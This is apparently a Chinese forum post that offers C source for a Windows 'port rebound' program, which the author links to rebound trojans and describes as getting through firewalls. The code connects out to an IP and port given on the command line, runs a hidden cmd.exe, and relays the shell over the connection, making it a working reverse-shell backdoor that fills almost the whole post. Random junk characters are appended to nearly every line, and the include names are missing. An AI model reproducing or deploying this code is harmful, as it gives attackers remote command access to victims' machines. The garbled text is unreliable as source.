Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 M: 6cma5  
LtQy(F%8/  
/* ============================== u+9Mc u"  
Rebound port in Windows NT d~8Q)"6 [  
By wind,2006/7 [I

9d  
===============================*/ }b
VyvH  
#include *Pl[a1=o  
#include i469<^A  
f19 i !  
#pragma comment(lib,"wsock32.lib") G-qxQD1wK  
_W+TZa@_  
void OutputShell(); rW^&8E[  
SOCKET sClient; ec=C7M |  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; I2dt#  
zM!*r~*k$  
void main(int argc,char **argv) Fmu R(f=  
{ q)[gVL  
WSADATA stWsaData; 9&tV
#=s  
int nRet;  4Zq5  
SOCKADDR_IN stSaiClient,stSaiServer; $I9zJ"*  
:PLsA3[}  
if(argc != 3) yZ{YIy~  
{ Y5 dt?a  
printf("Useage:\n\rRebound DestIP DestPort\n"); /_O-m8+4m  
return; (Gc5lMiX3  
} 5?O"
N  
dw-r}Qioe  
WSAStartup(MAKEWORD(2,2),&stWsaData); .UcS4JU
  
<3qbgn>}b  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^\!p;R  
e:l 6;  
stSaiClient.sin_family = AF_INET; R3~&|>7/T  
stSaiClient.sin_port = htons(0); u-Vn
mig9  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8C2t0u;Y .  
(GV6%l#I  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !EFd-fk  
{ Rq7ksTo  
printf("Bind Socket Failed!\n"); 4c% :?H@2  
return; Di6:r3sEO  
} QUNsS9  
Nl+2m4  
stSaiServer.sin_family = AF_INET; <L-L}\-I"  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); tx@Q/ou`\P  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); pmS=$z;I  
5v3B8 @CsA  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) !|!V}O  
{ }fhVn;~}8  
printf("Connect Error!"); Rz)#VVYC=  
return; S("bN{7nE  
} q=bXHtU  
OutputShell(); Z(Vrmz
2.  
} _RmrjDk  
x.q%O1  
void OutputShell() W%P&o}'  
{ q8
oEb  
char szBuff[1024]; ZG>OT@ GA
 
SECURITY_ATTRIBUTES stSecurityAttributes; >3bpa<M_  
OSVERSIONINFO stOsversionInfo; yE7pCgXt  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Np<Aak  
STARTUPINFO stStartupInfo; l|K8+5L  
char *szShell; @sDd:>t  
PROCESS_INFORMATION stProcessInformation; IE6/ E  
unsigned long lBytesRead; @dXf_2Tv=  
Cfj*[i4  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ?`vb\K<5H;  
wFvilF V  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 4k#6)e  
stSecurityAttributes.lpSecurityDescriptor = 0; zumRbrz
  
stSecurityAttributes.bInheritHandle = TRUE; K5KN}sRs"  
v/.2Z(sZ  
E'ZWSpP  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); BYY>;>V  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 23=;v@  
qgDBu\  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 1pn167IQL  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .D)}MyKnu  
stStartupInfo.wShowWindow = SW_HIDE; 1>2397  
stStartupInfo.hStdInput = hReadPipe;  `DwlS!0  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; iTX.?*  
&5a>5ZG}  
GetVersionEx(&stOsversionInfo); 8P*n|]B.'  
n0m9|T&  
switch(stOsversionInfo.dwPlatformId) cO8;2u,Gvi  
{ _CZ*z  
case 1: [bc
qaT  
szShell = "command.com"; enNn*.*|  
break; N*
xgVj*  
default: ^;2L`U@5  
szShell = "cmd.exe"; \)v.dQ!  
break; 8(A:XQN"h  
} 'Go'87+`  
i2*nYd`K  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /L~*FQQK>  
M}c_KFMV  
send(sClient,szMsg,77,0); $xl*P#  
while(1) " JRlj  
{ WULj@ds\~
 
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); $^l=#tV  
if(lBytesRead) /Iskjcc60W  
{ i.<}
X  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); '%MIG88  
send(sClient,szBuff,lBytesRead,0); brFOQU?  
} D|S)/o6  
else 6R<%.-qr  
{ A+p}oY '  
lBytesRead=recv(sClient,szBuff,1024,0); R0|X;3  
if(lBytesRead<=0) break; FYj3! H  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); *be+x RY  
} |amEuKJ  
} 2c~^|@  
H(X~=r  
return; Vs"Z9p$U  
}